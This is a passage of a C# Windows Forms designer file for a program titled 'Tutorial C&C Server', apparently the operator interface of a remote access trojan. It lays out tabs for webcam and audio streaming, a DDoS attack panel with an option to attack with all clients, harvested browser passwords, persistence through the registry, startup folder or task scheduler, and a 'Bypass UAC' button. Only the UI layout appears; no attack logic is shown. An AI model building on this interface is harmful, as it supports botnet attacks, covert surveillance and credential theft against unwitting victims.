1371 | this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseDown);
1372 | this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove);
1373 | this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseUp);
1374 | //
1375 | // tabPage9
1376 | //
1377 | this.tabPage9.Controls.Add(this.button25);
1378 | this.tabPage9.Controls.Add(this.listView4);
1379 | this.tabPage9.Controls.Add(this.button24);
1380 | this.tabPage9.Location = new System.Drawing.Point(4, 22);
1381 | this.tabPage9.Name = "tabPage9";
1382 | this.tabPage9.Size = new System.Drawing.Size(901, 550);
1383 | this.tabPage9.TabIndex = 8;
1384 | this.tabPage9.Text = "Audio";
1385 | this.tabPage9.UseVisualStyleBackColor = true;
1386 | //
1387 | // button25
1388 | //
1389 | this.button25.Location = new System.Drawing.Point(107, 466);
1390 | this.button25.Name = "button25";
1391 | this.button25.Size = new System.Drawing.Size(105, 23);
1392 | this.button25.TabIndex = 2;
1393 | this.button25.Text = "Start Stream";
1394 | this.button25.UseVisualStyleBackColor = true;
1395 | this.button25.Click += new System.EventHandler(this.button25_Click);
1396 | //
1397 | // listView4
1398 | //
1399 | this.listView4.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
1400 | this.columnHeader16,
1401 | this.columnHeader17});
1402 | this.listView4.FullRowSelect = true;
1403 | this.listView4.Location = new System.Drawing.Point(8, 15);
1404 | this.listView4.MultiSelect = false;
1405 | this.listView4.Name = "listView4";
1406 | this.listView4.Size = new System.Drawing.Size(890, 445);
1407 | this.listView4.TabIndex = 1;
1408 | this.listView4.UseCompatibleStateImageBehavior = false;
1409 | this.listView4.View = System.Windows.Forms.View.Details;
1410 | //
1411 | // columnHeader16
1412 | //
1413 | this.columnHeader16.Text = "Product Name";
1414 | this.columnHeader16.Width = 376;
1415 | //
1416 | // columnHeader17
1417 | //
1418 | this.columnHeader17.Text = "Channel";
1419 | this.columnHeader17.Width = 83;
1420 | //
1421 | // button24
1422 | //
1423 | this.button24.Location = new System.Drawing.Point(8, 466);
1424 | this.button24.Name = "button24";
1425 | this.button24.Size = new System.Drawing.Size(93, 23);
1426 | this.button24.TabIndex = 0;
1427 | this.button24.Text = "List Devices";
1428 | this.button24.UseVisualStyleBackColor = true;
1429 | this.button24.Click += new System.EventHandler(this.button24_Click);
1430 | //
1431 | // tabPage10
1432 | //
1433 | this.tabPage10.Controls.Add(this.button27);
1434 | this.tabPage10.Controls.Add(this.button26);
1435 | this.tabPage10.Controls.Add(this.listView5);
1436 | this.tabPage10.Controls.Add(this.pictureBox2);
1437 | this.tabPage10.Location = new System.Drawing.Point(4, 22);
1438 | this.tabPage10.Name = "tabPage10";
1439 | this.tabPage10.Size = new System.Drawing.Size(901, 550);
1440 | this.tabPage10.TabIndex = 9;
1441 | this.tabPage10.Text = "WebCam";
1442 | this.tabPage10.UseVisualStyleBackColor = true;
1443 | //
1444 | // button27
1445 | //
1446 | this.button27.Location = new System.Drawing.Point(596, 226);
1447 | this.button27.Name = "button27";
1448 | this.button27.Size = new System.Drawing.Size(297, 23);
1449 | this.button27.TabIndex = 3;
1450 | this.button27.Text = "Start Stream";
1451 | this.button27.UseVisualStyleBackColor = true;
1452 | this.button27.Click += new System.EventHandler(this.button27_Click);
1453 | //
1454 | // button26
1455 | //
1456 | this.button26.Location = new System.Drawing.Point(596, 197);
1457 | this.button26.Name = "button26";
1458 | this.button26.Size = new System.Drawing.Size(297, 23);
1459 | this.button26.TabIndex = 2;
1460 | this.button26.Text = "List Video Devices";
1461 | this.button26.UseVisualStyleBackColor = true;
1462 | this.button26.Click += new System.EventHandler(this.button26_Click);
1463 | //
1464 | // listView5
1465 | //
1466 | this.listView5.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
1467 | this.columnHeader18,
1468 | this.columnHeader19});
1469 | this.listView5.FullRowSelect = true;
1470 | this.listView5.Location = new System.Drawing.Point(596, 3);
1471 | this.listView5.MultiSelect = false;
1472 | this.listView5.Name = "listView5";
1473 | this.listView5.Size = new System.Drawing.Size(302, 188);
1474 | this.listView5.TabIndex = 1;
1475 | this.listView5.UseCompatibleStateImageBehavior = false;
1476 | this.listView5.View = System.Windows.Forms.View.Details;
1477 | //
1478 | // columnHeader18
1479 | //
1480 | this.columnHeader18.Text = "ID";
1481 | //
1482 | // columnHeader19
1483 | //
1484 | this.columnHeader19.Text = "Device Name";
1485 | this.columnHeader19.Width = 233;
1486 | //
1487 | // pictureBox2
1488 | //
1489 | this.pictureBox2.Location = new System.Drawing.Point(8, 3);
1490 | this.pictureBox2.Name = "pictureBox2";
1491 | this.pictureBox2.Size = new System.Drawing.Size(582, 491);
1492 | this.pictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
1493 | this.pictureBox2.TabIndex = 0;
1494 | this.pictureBox2.TabStop = false;
1495 | this.pictureBox2.Tag = "wcstream";
1496 | //
1497 | // tabPage11
1498 | //
1499 | this.tabPage11.Controls.Add(this.button30);
1500 | this.tabPage11.Controls.Add(this.button29);
1501 | this.tabPage11.Controls.Add(this.button28);
1502 | this.tabPage11.Controls.Add(this.groupBox2);
1503 | this.tabPage11.Controls.Add(this.groupBox1);
1504 | this.tabPage11.Controls.Add(this.label18);
1505 | this.tabPage11.Location = new System.Drawing.Point(4, 22);
1506 | this.tabPage11.Name = "tabPage11";
1507 | this.tabPage11.Size = new System.Drawing.Size(901, 550);
1508 | this.tabPage11.TabIndex = 10;
1509 | this.tabPage11.Text = "DDoS";
1510 | this.tabPage11.UseVisualStyleBackColor = true;
1511 | //
1512 | // button30
1513 | //
1514 | this.button30.Location = new System.Drawing.Point(602, 466);
1515 | this.button30.Name = "button30";
1516 | this.button30.Size = new System.Drawing.Size(75, 23);
1517 | this.button30.TabIndex = 7;
1518 | this.button30.Text = "Stop Attack";
1519 | this.button30.UseVisualStyleBackColor = true;
1520 | this.button30.Click += new System.EventHandler(this.button30_Click);
1521 | //
1522 | // button29
1523 | //
1524 | this.button29.Location = new System.Drawing.Point(683, 466);
1525 | this.button29.Name = "button29";
1526 | this.button29.Size = new System.Drawing.Size(97, 23);
1527 | this.button29.TabIndex = 6;
1528 | this.button29.Text = "Validate Target";
1529 | this.button29.UseVisualStyleBackColor = true;
1530 | this.button29.Click += new System.EventHandler(this.button29_Click);
1531 | //
1532 | // button28
1533 | //
1534 | this.button28.Location = new System.Drawing.Point(786, 466);
1535 | this.button28.Name = "button28";
1536 | this.button28.Size = new System.Drawing.Size(75, 23);
1537 | this.button28.TabIndex = 5;
1538 | this.button28.Text = "Start Attack";
1539 | this.button28.UseVisualStyleBackColor = true;
1540 | this.button28.Click += new System.EventHandler(this.button28_Click);
1541 | //
1542 | // groupBox2
1543 | //
1544 | this.groupBox2.Controls.Add(this.numericUpDown4);
1545 | this.groupBox2.Controls.Add(this.numericUpDown3);
1546 | this.groupBox2.Controls.Add(this.checkBox3);
1547 | this.groupBox2.Controls.Add(this.label25);
1548 | this.groupBox2.Controls.Add(this.label26);
1549 | this.groupBox2.Location = new System.Drawing.Point(488, 42);
1550 | this.groupBox2.Name = "groupBox2";
1551 | this.groupBox2.Size = new System.Drawing.Size(373, 401);
1552 | this.groupBox2.TabIndex = 4;
1553 | this.groupBox2.TabStop = false;
1554 | this.groupBox2.Text = "Attack";
1555 | //
1556 | // numericUpDown4
1557 | //
1558 | this.numericUpDown4.Location = new System.Drawing.Point(132, 97);
1559 | this.numericUpDown4.Minimum = new decimal(new int[] {
1560 | 1,
1561 | 0,
1562 | 0,
1563 | 0});
1564 | this.numericUpDown4.Name = "numericUpDown4";
1565 | this.numericUpDown4.Size = new System.Drawing.Size(120, 20);
1566 | this.numericUpDown4.TabIndex = 4;
1567 | this.numericUpDown4.Value = new decimal(new int[] {
1568 | 1,
1569 | 0,
1570 | 0,
1571 | 0});
1572 | //
1573 | // numericUpDown3
1574 | //
1575 | this.numericUpDown3.Location = new System.Drawing.Point(132, 71);
1576 | this.numericUpDown3.Minimum = new decimal(new int[] {
1577 | 1,
1578 | 0,
1579 | 0,
1580 | 0});
1581 | this.numericUpDown3.Name = "numericUpDown3";
1582 | this.numericUpDown3.Size = new System.Drawing.Size(120, 20);
1583 | this.numericUpDown3.TabIndex = 3;
1584 | this.numericUpDown3.Value = new decimal(new int[] {
1585 | 1,
1586 | 0,
1587 | 0,
1588 | 0});
1589 | //
1590 | // checkBox3
1591 | //
1592 | this.checkBox3.AutoSize = true;
1593 | this.checkBox3.Location = new System.Drawing.Point(31, 129);
1594 | this.checkBox3.Name = "checkBox3";
1595 | this.checkBox3.Size = new System.Drawing.Size(128, 17);
1596 | this.checkBox3.TabIndex = 2;
1597 | this.checkBox3.Text = "Attack with all clients!";
1598 | this.checkBox3.UseVisualStyleBackColor = true;
1599 | //
1600 | // label25
1601 | //
1602 | this.label25.AutoSize = true;
1603 | this.label25.Location = new System.Drawing.Point(28, 102);
1604 | this.label25.Name = "label25";
1605 | this.label25.Size = new System.Drawing.Size(56, 13);
1606 | this.label25.TabIndex = 1;
1607 | this.label25.Text = "Delay (ms)";
1608 | //
1609 | // label26
1610 | //
1611 | this.label26.AutoSize = true;
1612 | this.label26.Location = new System.Drawing.Point(28, 74);
1613 | this.label26.Name = "label26";
1614 | this.label26.Size = new System.Drawing.Size(98, 13);
1615 | this.label26.TabIndex = 0;
1616 | this.label26.Text = "Number of Threads";
1617 | //
1618 | // groupBox1
1619 | //
1620 | this.groupBox1.Controls.Add(this.numericUpDown2);
1621 | this.groupBox1.Controls.Add(this.comboBox5);
1622 | this.groupBox1.Controls.Add(this.numericUpDown1);
1623 | this.groupBox1.Controls.Add(this.textBox6);
1624 | this.groupBox1.Controls.Add(this.label22);
1625 | this.groupBox1.Controls.Add(this.label21);
1626 | this.groupBox1.Controls.Add(this.label20);
1627 | this.groupBox1.Controls.Add(this.label19);
1628 | this.groupBox1.Location = new System.Drawing.Point(6, 42);
1629 | this.groupBox1.Name = "groupBox1";
1630 | this.groupBox1.Size = new System.Drawing.Size(373, 401);
1631 | this.groupBox1.TabIndex = 1;
1632 | this.groupBox1.TabStop = false;
1633 | this.groupBox1.Text = "Target";
1634 | //
1635 | // numericUpDown2
1636 | //
1637 | this.numericUpDown2.Location = new System.Drawing.Point(98, 156);
1638 | this.numericUpDown2.Maximum = new decimal(new int[] {
1639 | 65535,
1640 | 0,
1641 | 0,
1642 | 0});
1643 | this.numericUpDown2.Minimum = new decimal(new int[] {
1644 | 1,
1645 | 0,
1646 | 0,
1647 | 0});
1648 | this.numericUpDown2.Name = "numericUpDown2";
1649 | this.numericUpDown2.Size = new System.Drawing.Size(120, 20);
1650 | this.numericUpDown2.TabIndex = 7;
1651 | this.numericUpDown2.Value = new decimal(new int[] {
1652 | 1,
1653 | 0,
1654 | 0,
1655 | 0});
1656 | //
1657 | // comboBox5
1658 | //
1659 | this.comboBox5.FormattingEnabled = true;
1660 | this.comboBox5.Items.AddRange(new object[] {
1661 | "TCP",
1662 | "UDP",
1663 | "ICMP ECHO (Ping)"});
1664 | this.comboBox5.Location = new System.Drawing.Point(83, 127);
1665 | this.comboBox5.Name = "comboBox5";
1666 | this.comboBox5.Size = new System.Drawing.Size(135, 21);
1667 | this.comboBox5.TabIndex = 6;
1668 | //
1669 | // numericUpDown1
1670 | //
1671 | this.numericUpDown1.Location = new System.Drawing.Point(67, 97);
1672 | this.numericUpDown1.Maximum = new decimal(new int[] {
1673 | 65535,
1674 | 0,
1675 | 0,
1676 | 0});
1677 | this.numericUpDown1.Minimum = new decimal(new int[] {
1678 | 1,
1679 | 0,
1680 | 0,
1681 | 0});
1682 | this.numericUpDown1.Name = "numericUpDown1";
1683 | this.numericUpDown1.Size = new System.Drawing.Size(151, 20);
1684 | this.numericUpDown1.TabIndex = 5;
1685 | this.numericUpDown1.Value = new decimal(new int[] {
1686 | 1,
1687 | 0,
1688 | 0,
1689 | 0});
1690 | //
1691 | // textBox6
1692 | //
1693 | this.textBox6.Location = new System.Drawing.Point(67, 71);
1694 | this.textBox6.Name = "textBox6";
1695 | this.textBox6.Size = new System.Drawing.Size(151, 20);
1696 | this.textBox6.TabIndex = 4;
1697 | //
1698 | // label22
1699 | //
1700 | this.label22.AutoSize = true;
1701 | this.label22.Location = new System.Drawing.Point(28, 158);
1702 | this.label22.Name = "label22";
1703 | this.label22.Size = new System.Drawing.Size(64, 13);
1704 | this.label22.TabIndex = 3;
1705 | this.label22.Text = "PacketSize:";
1706 | //
1707 | // label21
1708 | //
1709 | this.label21.AutoSize = true;
1710 | this.label21.Location = new System.Drawing.Point(28, 129);
1711 | this.label21.Name = "label21";
1712 | this.label21.Size = new System.Drawing.Size(49, 13);
1713 | this.label21.TabIndex = 2;
1714 | this.label21.Text = "Protocol:";
1715 | //
1716 | // label20
1717 | //
1718 | this.label20.AutoSize = true;
1719 | this.label20.Location = new System.Drawing.Point(28, 102);
1720 | this.label20.Name = "label20";
1721 | this.label20.Size = new System.Drawing.Size(29, 13);
1722 | this.label20.TabIndex = 1;
1723 | this.label20.Text = "Port:";
1724 | //
1725 | // label19
1726 | //
1727 | this.label19.AutoSize = true;
1728 | this.label19.Location = new System.Drawing.Point(28, 74);
1729 | this.label19.Name = "label19";
1730 | this.label19.Size = new System.Drawing.Size(20, 13);
1731 | this.label19.TabIndex = 0;
1732 | this.label19.Text = "IP:";
1733 | //
1734 | // label18
1735 | //
1736 | this.label18.AutoSize = true;
1737 | this.label18.Location = new System.Drawing.Point(3, 10);
1738 | this.label18.Name = "label18";
1739 | this.label18.Size = new System.Drawing.Size(126, 13);
1740 | this.label18.TabIndex = 0;
1741 | this.label18.Text = "Status: Waiting for action";
1742 | //
1743 | // tabPage12
1744 | //
1745 | this.tabPage12.Controls.Add(this.button32);
1746 | this.tabPage12.Controls.Add(this.button31);
1747 | this.tabPage12.Controls.Add(this.label23);
1748 | this.tabPage12.Controls.Add(this.listView6);
1749 | this.tabPage12.Location = new System.Drawing.Point(4, 22);
1750 | this.tabPage12.Name = "tabPage12";
1751 | this.tabPage12.Size = new System.Drawing.Size(901, 550);
1752 | this.tabPage12.TabIndex = 11;
1753 | this.tabPage12.Text = "Password Manager";
1754 | this.tabPage12.UseVisualStyleBackColor = true;
1755 | //
1756 | // button32
1757 | //
1758 | this.button32.Location = new System.Drawing.Point(673, 468);
1759 | this.button32.Name = "button32";
1760 | this.button32.Size = new System.Drawing.Size(107, 23);
1761 | this.button32.TabIndex = 3;
1762 | this.button32.Text = "Clear List";
1763 | this.button32.UseVisualStyleBackColor = true;
1764 | this.button32.Click += new System.EventHandler(this.button32_Click);
1765 | //
1766 | // button31
1767 | //
1768 | this.button31.Location = new System.Drawing.Point(786, 468);
1769 | this.button31.Name = "button31";
1770 | this.button31.Size = new System.Drawing.Size(107, 23);
1771 | this.button31.TabIndex = 2;
1772 | this.button31.Text = "List Password";
1773 | this.button31.UseVisualStyleBackColor = true;
1774 | this.button31.Click += new System.EventHandler(this.button31_Click);
1775 | //
1776 | // label23
1777 | //
1778 | this.label23.AutoSize = true;
1779 | this.label23.Location = new System.Drawing.Point(8, 14);
1780 | this.label23.Name = "label23";
1781 | this.label23.Size = new System.Drawing.Size(68, 13);
1782 | this.label23.TabIndex = 1;
1783 | this.label23.Text = "Password list";
1784 | //
1785 | // listView6
1786 | //
1787 | this.listView6.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
1788 | this.columnHeader20,
1789 | this.columnHeader21,
1790 | this.columnHeader22});
1791 | this.listView6.FullRowSelect = true;
1792 | listViewGroup1.Header = "Google Chrome";
1793 | listViewGroup1.Name = "listViewGroup1";
1794 | listViewGroup2.Header = "Internet Explorer";
1795 | listViewGroup2.Name = "listViewGroup2";
1796 | listViewGroup3.Header = "Firefox";
1797 | listViewGroup3.Name = "listViewGroup3";
1798 | this.listView6.Groups.AddRange(new System.Windows.Forms.ListViewGroup[] {
1799 | listViewGroup1,
1800 | listViewGroup2,
1801 | listViewGroup3});
1802 | this.listView6.Location = new System.Drawing.Point(8, 43);
1803 | this.listView6.Name = "listView6";
1804 | this.listView6.Size = new System.Drawing.Size(885, 419);
1805 | this.listView6.TabIndex = 0;
1806 | this.listView6.UseCompatibleStateImageBehavior = false;
1807 | this.listView6.View = System.Windows.Forms.View.Details;
1808 | //
1809 | // columnHeader20
1810 | //
1811 | this.columnHeader20.Text = "URL";
1812 | this.columnHeader20.Width = 454;
1813 | //
1814 | // columnHeader21
1815 | //
1816 | this.columnHeader21.Text = "Username";
1817 | this.columnHeader21.Width = 210;
1818 | //
1819 | // columnHeader22
1820 | //
1821 | this.columnHeader22.Text = "Password";
1822 | this.columnHeader22.Width = 208;
1823 | //
1824 | // tabPage13
1825 | //
1826 | this.tabPage13.Controls.Add(this.label36);
1827 | this.tabPage13.Controls.Add(this.progressBar1);
1828 | this.tabPage13.Controls.Add(this.button23);
1829 | this.tabPage13.Controls.Add(this.comboBox7);
1830 | this.tabPage13.Controls.Add(this.label35);
1831 | this.tabPage13.Controls.Add(this.button20);
1832 | this.tabPage13.Controls.Add(this.button33);
1833 | this.tabPage13.Controls.Add(this.label27);
1834 | this.tabPage13.Location = new System.Drawing.Point(4, 22);
1835 | this.tabPage13.Name = "tabPage13";
1836 | this.tabPage13.Size = new System.Drawing.Size(901, 550);
1837 | this.tabPage13.TabIndex = 12;
1838 | this.tabPage13.Text = "Persistence";
1839 | this.tabPage13.UseVisualStyleBackColor = true;
1840 | //
1841 | // label36
1842 | //
1843 | this.label36.AutoSize = true;
1844 | this.label36.Enabled = false;
1845 | this.label36.Location = new System.Drawing.Point(212, 49);
1846 | this.label36.Name = "label36";
1847 | this.label36.Size = new System.Drawing.Size(21, 13);
1848 | this.label36.TabIndex = 8;
1849 | this.label36.Text = "0%";
1850 | //
1851 | // progressBar1
1852 | //
1853 | this.progressBar1.Enabled = false;
1854 | this.progressBar1.Location = new System.Drawing.Point(156, 68);
1855 | this.progressBar1.Name = "progressBar1";
1856 | this.progressBar1.Size = new System.Drawing.Size(145, 23);
1857 | this.progressBar1.TabIndex = 7;
1858 | //
1859 | // button23
1860 | //
1861 | this.button23.Location = new System.Drawing.Point(212, 142);
1862 | this.button23.Name = "button23";
1863 | this.button23.Size = new System.Drawing.Size(89, 23);
1864 | this.button23.TabIndex = 6;
1865 | this.button23.Text = "Start Probe";
1866 | this.button23.UseVisualStyleBackColor = true;
1867 | this.button23.Click += new System.EventHandler(this.button23_Click);
1868 | //
1869 | // comboBox7
1870 | //
1871 | this.comboBox7.FormattingEnabled = true;
1872 | this.comboBox7.Items.AddRange(new object[] {
1873 | "Startup Folder",
1874 | "Registry",
1875 | "Task Scheduler"});
1876 | this.comboBox7.Location = new System.Drawing.Point(20, 144);
1877 | this.comboBox7.Name = "comboBox7";
1878 | this.comboBox7.Size = new System.Drawing.Size(186, 21);
1879 | this.comboBox7.TabIndex = 5;
1880 | //
1881 | // label35
1882 | //
1883 | this.label35.AutoSize = true;
1884 | this.label35.Location = new System.Drawing.Point(8, 116);
1885 | this.label35.Name = "label35";
1886 | this.label35.Size = new System.Drawing.Size(68, 13);
1887 | this.label35.TabIndex = 4;
1888 | this.label35.Text = "Start Probing";
1889 | //
1890 | // button20
1891 | //
1892 | this.button20.Enabled = false;
1893 | this.button20.Location = new System.Drawing.Point(20, 68);
1894 | this.button20.Name = "button20";
1895 | this.button20.Size = new System.Drawing.Size(114, 23);
1896 | this.button20.TabIndex = 3;
1897 | this.button20.Text = "Auto Load";
1898 | this.button20.UseVisualStyleBackColor = true;
1899 | this.button20.Click += new System.EventHandler(this.button20_Click);
1900 | //
1901 | // button33
1902 | //
1903 | this.button33.Location = new System.Drawing.Point(20, 39);
1904 | this.button33.Name = "button33";
1905 | this.button33.Size = new System.Drawing.Size(114, 23);
1906 | this.button33.TabIndex = 2;
1907 | this.button33.Text = "Bypass UAC";
1908 | this.button33.UseVisualStyleBackColor = true;
1909 | this.button33.Click += new System.EventHandler(this.button33_Click);
1910 | //
1911 | // label27
1912 | //
1913 | this.label27.AutoSize = true;
1914 | this.label27.Location = new System.Drawing.Point(8, 13);
1915 | this.label27.Name = "label27";
1916 | this.label27.Size = new System.Drawing.Size(66, 13);
1917 | this.label27.TabIndex = 0;
1918 | this.label27.Text = "Bypass UAC";
1919 | //
1920 | // tabPage14
1921 | //
1922 | this.tabPage14.Controls.Add(this.button34);
1923 | this.tabPage14.Controls.Add(this.label28);
1924 | this.tabPage14.Location = new System.Drawing.Point(4, 22);
1925 | this.tabPage14.Name = "tabPage14";
1926 | this.tabPage14.Size = new System.Drawing.Size(901, 550);
1927 | this.tabPage14.TabIndex = 13;
1928 | this.tabPage14.Text = "External Apps";
1929 | this.tabPage14.UseVisualStyleBackColor = true;
1930 | //
1931 | // button34
1932 | //
1933 | this.button34.Location = new System.Drawing.Point(27, 39);
1934 | this.button34.Name = "button34";
1935 | this.button34.Size = new System.Drawing.Size(158, 23);
1936 | this.button34.TabIndex = 1;
1937 | this.button34.Text = "Launch Remote Pipe";
1938 | this.button34.UseVisualStyleBackColor = true;
1939 | this.button34.Click += new System.EventHandler(this.button34_Click);
1940 | //
1941 | // label28
1942 | //
1943 | this.label28.AutoSize = true;
1944 | this.label28.Location = new System.Drawing.Point(8, 12);
1945 | this.label28.Name = "label28";
1946 | this.label28.Size = new System.Drawing.Size(67, 13);
1947 | this.label28.TabIndex = 0;
1948 | this.label28.Text = "Proxy Server";
1949 | //
1950 | // tabPage15
1951 | //
1952 | this.tabPage15.Controls.Add(this.button39);
1953 | this.tabPage15.Controls.Add(this.button38);
1954 | this.tabPage15.Controls.Add(this.button37);
1955 | this.tabPage15.Controls.Add(this.button36);
1956 | this.tabPage15.Controls.Add(this.button35);
1957 | this.tabPage15.Controls.Add(this.comboBox6);
1958 | this.tabPage15.Controls.Add(this.label33);
1959 | this.tabPage15.Controls.Add(this.label32);
1960 | this.tabPage15.Controls.Add(this.label31);
1961 | this.tabPage15.Controls.Add(this.label30);
1962 | this.tabPage15.Controls.Add(this.label29);
1963 | this.tabPage15.Controls.Add(this.listBox1);
1964 | this.tabPage15.Location = new System.Drawing.Point(4, 22);
1965 | this.tabPage15.Name = "tabPage15";
1966 | this.tabPage15.Size = new System.Drawing.Size(901, 550);
1967 | this.tabPage15.TabIndex = 14;
1968 | this.tabPage15.Text = "Plugins";
1969 | this.tabPage15.UseVisualStyleBackColor = true;
1970 | //
1971 | // button39
1972 | //
1973 | this.button39.Location = new System.Drawing.Point(632, 462);
1974 | this.button39.Name = "button39";
1975 | this.button39.Size = new System.Drawing.Size(75, 23);
1976 | this.button39.TabIndex = 11;
1977 | this.button39.Text = "Stop Signal";
1978 | this.button39.UseVisualStyleBackColor = true;
1979 | this.button39.Click += new System.EventHandler(this.button39_Click);
1980 | //
1981 | // button38
1982 | //
1983 | this.button38.Location = new System.Drawing.Point(551, 462);
1984 | this.button38.Name = "button38";
1985 | this.button38.Size = new System.Drawing.Size(75, 23);
1986 | this.button38.TabIndex = 10;
1987 | this.button38.Text = "Reload All";
1988 | this.button38.UseVisualStyleBackColor = true;
1989 | this.button38.Click += new System.EventHandler(this.button38_Click);
1990 | //
1991 | // button37
1992 | //
1993 | this.button37.Location = new System.Drawing.Point(470, 462);
1994 | this.button37.Name = "button37";
1995 | this.button37.Size = new System.Drawing.Size(75, 23);
1996 | this.button37.TabIndex = 9;
1997 | this.button37.Text = "Execute";
1998 | this.button37.UseVisualStyleBackColor = true;
1999 | this.button37.Click += new System.EventHandler(this.button37_Click);
2000 | //
2001 | // button36
2002 | //
2003 | this.button36.Location = new System.Drawing.Point(389, 462);
2004 | this.button36.Name = "button36";
2005 | this.button36.Size = new System.Drawing.Size(75, 23);
2006 | this.button36.TabIndex = 8;
2007 | this.button36.Text = "Remove";
2008 | this.button36.UseVisualStyleBackColor = true;
2009 | this.button36.Click += new System.EventHandler(this.button36_Click);
2010 | //
2011 | // button35
2012 | //
2013 | this.button35.Location = new System.Drawing.Point(308, 462);
2014 | this.button35.Name = "button35";
2015 | this.button35.Size = new System.Drawing.Size(75, 23);
2016 | this.button35.TabIndex = 7;
2017 | this.button35.Text = "Add";
2018 | this.button35.UseVisualStyleBackColor = true;
2019 | this.button35.Click += new System.EventHandler(this.button35_Click);
2020 | //
2021 | // comboBox6
2022 | //
2023 | this.comboBox6.FormattingEnabled = true;
2024 | this.comboBox6.Location = new System.Drawing.Point(364, 113);
2025 | this.comboBox6.Name = "comboBox6";
2026 | this.comboBox6.Size = new System.Drawing.Size(121, 21);
2027 | this.comboBox6.TabIndex = 6;
2028 | //
2029 | // label33
2030 | //
2031 | this.label33.AutoSize = true;
2032 | this.label33.Location = new System.Drawing.Point(293, 116);
2033 | this.label33.Name = "label33";
2034 | this.label33.Size = new System.Drawing.Size(65, 13);
2035 | this.label33.TabIndex = 5;
2036 | this.label33.Text = "Permissions:";
2037 | //
2038 | // label32
2039 | //
2040 | this.label32.AutoSize = true;
2041 | this.label32.Location = new System.Drawing.Point(293, 155);
2042 | this.label32.Name = "label32";
2043 | this.label32.Size = new System.Drawing.Size(63, 13);
2044 | this.label32.TabIndex = 4;
2045 | this.label32.Text = "Description:";
2046 | //
2047 | // label31
2048 | //
2049 | this.label31.AutoSize = true;
2050 | this.label31.Location = new System.Drawing.Point(293, 82);
2051 | this.label31.Name = "label31";
2052 | this.label31.Size = new System.Drawing.Size(41, 13);
2053 | this.label31.TabIndex = 3;
2054 | this.label31.Text = "Author:";
2055 | //
2056 | // label30
2057 | //
2058 | this.label30.AutoSize = true;
2059 | this.label30.Location = new System.Drawing.Point(293, 47);
2060 | this.label30.Name = "label30";
2061 | this.label30.Size = new System.Drawing.Size(45, 13);
2062 | this.label30.TabIndex = 2;
2063 | this.label30.Text = "Version:";
2064 | //
2065 | // label29
2066 | //
2067 | this.label29.AutoSize = true;
2068 | this.label29.Location = new System.Drawing.Point(293, 13);
2069 | this.label29.Name = "label29";
2070 | this.label29.Size = new System.Drawing.Size(38, 13);
2071 | this.label29.TabIndex = 1;
2072 | this.label29.Text = "Name:";
2073 | //
2074 | // listBox1
2075 | //
2076 | this.listBox1.FormattingEnabled = true;
2077 | this.listBox1.Location = new System.Drawing.Point(8, 13);
2078 | this.listBox1.Name = "listBox1";
2079 | this.listBox1.Size = new System.Drawing.Size(268, 472);
2080 | this.listBox1.TabIndex = 0;
2081 | this.listBox1.SelectedIndexChanged += new System.EventHandler(this.listBox1_SelectedIndexChanged);
2082 | //
2083 | // Form1
2084 | //
2085 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
2086 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
2087 | this.ClientSize = new System.Drawing.Size(909, 576);
2088 | this.Controls.Add(this.tabControl1);
2089 | this.Name = "Form1";
2090 | this.Text = "Tutorial C&C Server";
2091 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Form1_FormClosing);
2092 | this.Shown += new System.EventHandler(this.Form1_Shown);
2093 | this.tabControl1.ResumeLayout(false);
2094 | this.tabPage1.ResumeLayout(false);
2095 | this.tabPage1.PerformLayout();
2096 | this.tabPage2.ResumeLayout(false);
2097 | this.tabPage2.PerformLayout();
2098 | this.tabPage3.ResumeLayout(false);
2099 | this.tabPage3.PerformLayout();
2100 | this.tabPage4.ResumeLayout(false);
2101 | this.tabPage4.PerformLayout();
2102 | this.contextMenuStrip2.ResumeLayout(false);
2103 | this.tabPage5.ResumeLayout(false);
2104 | this.tabPage5.PerformLayout();
2105 | this.tabPage6.ResumeLayout(false);
2106 | this.contextMenuStrip3.ResumeLayout(false);
2107 | this.tabPage7.ResumeLayout(false);
2108 | this.tabPage8.ResumeLayout(false);
2109 | this.tabPage8.PerformLayout();
2110 | ((System.ComponentModel.ISupportInitialize)(this.trackBar1)).EndInit();
2111 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
2112 | this.tabPage9.ResumeLayout(false);
2113 | this.tabPage10.ResumeLayout(false);
2114 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit();
2115 | this.tabPage11.ResumeLayout(false);
2116 | this.tabPage11.PerformLayout();
2117 | this.groupBox2.ResumeLayout(false);
2118 | this.groupBox2.PerformLayout();
2119 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).EndInit();
2120 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).EndInit();
2121 | this.groupBox1.ResumeLayout(false);
2122 | this.groupBox1.PerformLayout();
2123 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
2124 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
2125 | this.tabPage12.ResumeLayout(false);
2126 | this.tabPage12.PerformLayout();
2127 | this.tabPage13.ResumeLayout(false);
2128 | this.tabPage13.PerformLayout();
2129 | this.tabPage14.ResumeLayout(false);
2130 | this.tabPage14.PerformLayout();
2131 | this.tabPage15.ResumeLayout(false);
2132 | this.tabPage15.PerformLayout();
2133 | this.ResumeLayout(false);
2134 |
2135 | }
2136 |
2137 | #endregion
2138 |
2139 | private System.Windows.Forms.TabControl tabControl1;
2140 | private System.Windows.Forms.TabPage tabPage1;
2141 | private System.Windows.Forms.Label label2;
2142 | private System.Windows.Forms.Button button2;
2143 | private System.Windows.Forms.ListView listView1;
2144 | private System.Windows.Forms.ColumnHeader columnHeader1;
2145 | private System.Windows.Forms.ColumnHeader columnHeader2;
2146 | private System.Windows.Forms.ColumnHeader columnHeader3;
2147 | private System.Windows.Forms.ColumnHeader columnHeader4;
2148 | private System.Windows.Forms.ColumnHeader columnHeader5;
2149 | private System.Windows.Forms.Button button1;
